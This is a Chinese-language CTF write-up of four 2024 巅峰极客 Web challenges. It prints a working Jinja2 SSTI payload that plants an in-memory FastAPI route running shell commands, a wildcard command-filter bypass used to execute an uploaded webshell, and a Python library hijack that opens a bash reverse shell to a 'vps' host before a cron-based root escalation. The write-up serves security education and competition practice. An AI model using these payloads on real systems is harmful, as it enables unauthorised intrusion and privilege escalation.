2024巅峰极客WriteUp(Web)
字数 1497 2025-08-24 07:48:09
2024巅峰极客Web题目WriteUp教学文档
1. EncirclingGame (签到题)
解题步骤:
- 直接进入游戏界面,随便玩几局即可自动获得flag
- 无特殊技术要求,属于热身题目
2. GoldenHornKing (SSTI注入+内存马)
漏洞分析
- 题目使用FastAPI框架构建
/calc路由存在Jinja2 SSTI模板注入漏洞- 过滤条件:
- 禁止包含数字字符
- 禁止包含
%字符 - 必须为ASCII字符
- 只能成功访问一次(
access全局变量控制)
利用思路
- 由于无回显且过滤严格,考虑利用SSTI注入创建内存马
- 利用FastAPI的
add_api_route方法动态添加路由 - 通过
__globals__和sys.modules等属性绕过限制
利用步骤
第一步:注入内存马
request.__class__.__init__.__globals__['sys'].modules['builtins']['eval']('__import__("sys").modules["__main__"].__dict__["app"].add_api_route("/abcd",lambda abcd:__import__("os").popen("cat /flag").read(),methods=["GET"])')
第二步:访问新路由
- 访问
/abcd路由获取flag
关键点
- 使用
__globals__访问全局变量 - 通过
sys.modules获取模块引用 - 利用
add_api_route动态添加路由 - 使用lambda函数避免复杂参数传递
3. admin_Test (文件上传+RCE)
漏洞分析
- 存在文件上传功能,但上传后文件被重命名
- 存在命令执行功能,但过滤严格:
- 正则过滤:
/t ]+$/(禁止包含t后跟空格或制表符) - 但允许
.和/等字符
- 正则过滤:
利用思路
- 通过文件上传在
/tmp目录创建临时文件 - 利用命令执行功能执行
/tmp下的文件 - 使用通配符绕过过滤:
./*t或. /t*/*
利用步骤
第一步:Fuzz测试可用字符
for i in range(32,127):
print(chr(i))
发现可使用./*t形式执行命令
第二步:上传Webshell
- 上传包含恶意代码的文件,虽然不会落地到
uploads/,但会在/tmp生成临时文件
第三步:执行临时文件
./*t
第四步:提权
- 使用蚁剑等工具连接
- 查找SUID提权机会
关键点
- 利用
/tmp临时文件机制 - 通配符绕过命令过滤
- 注意文件上传后的临时文件路径
4. php_online (Python+PHP混合RCE)
漏洞分析
- Flask应用,允许用户提交ID和PHP代码
- 代码执行流程:
- 创建沙箱目录(
/sandbox/{id}) - 复制
init.py到沙箱 - 执行用户提交的PHP代码
- 清理沙箱
- 创建沙箱目录(
- 关键点:
- PHP代码以
nobody用户执行 - Python代码以
www-data用户执行 - 存在竞态条件(清理前短暂时间窗口)
- PHP代码以
利用思路
- 利用库劫持:
logging/__init__.py - 通过PHP创建恶意Python库文件
- 利用
init.py的import logging执行恶意代码 - 提权到
www-data
利用步骤
第一步:创建沙箱
- 提交8位字母数字ID(如
12341234)
第二步:提交PHP代码
<?php
system('mkdir logging');
$shell = "import os\nos.system(\"bash -c 'bash -i >& /dev/tcp/vps/2333 0>&1'\")";
file_put_contents("logging/__init__.py", $shell);
system('python init.py');
?>
第三步:反弹shell
- 监听VPS端口获取
www-data权限shell
第四步:提权
- 检查定时任务:
ls -la /etc/cron.d
- 利用sleep保持文件落地:
<?php for($i;$i<=1000;$i++){sleep(100);}?>
- 创建计划任务:
* * * * * root cat /flag > /sandbox/flag.txt
关键点
- Python库路径劫持
- 竞态条件利用
- 权限提升路径:nobody → www-data → root
- sleep保持文件落地的技巧
总结
- SSTI注入:关注全局变量访问和模块导入方式,考虑无回显情况下的内存马注入
- 文件上传+RCE:注意临时文件机制和命令过滤绕过技巧
- 混合语言漏洞:注意不同语言的执行上下文和权限差异
- 提权路径:系统性地检查SUID、定时任务、环境变量等常见提权方式
以上技术点在实际渗透测试中都有广泛应用,建议在安全环境中进行复现练习。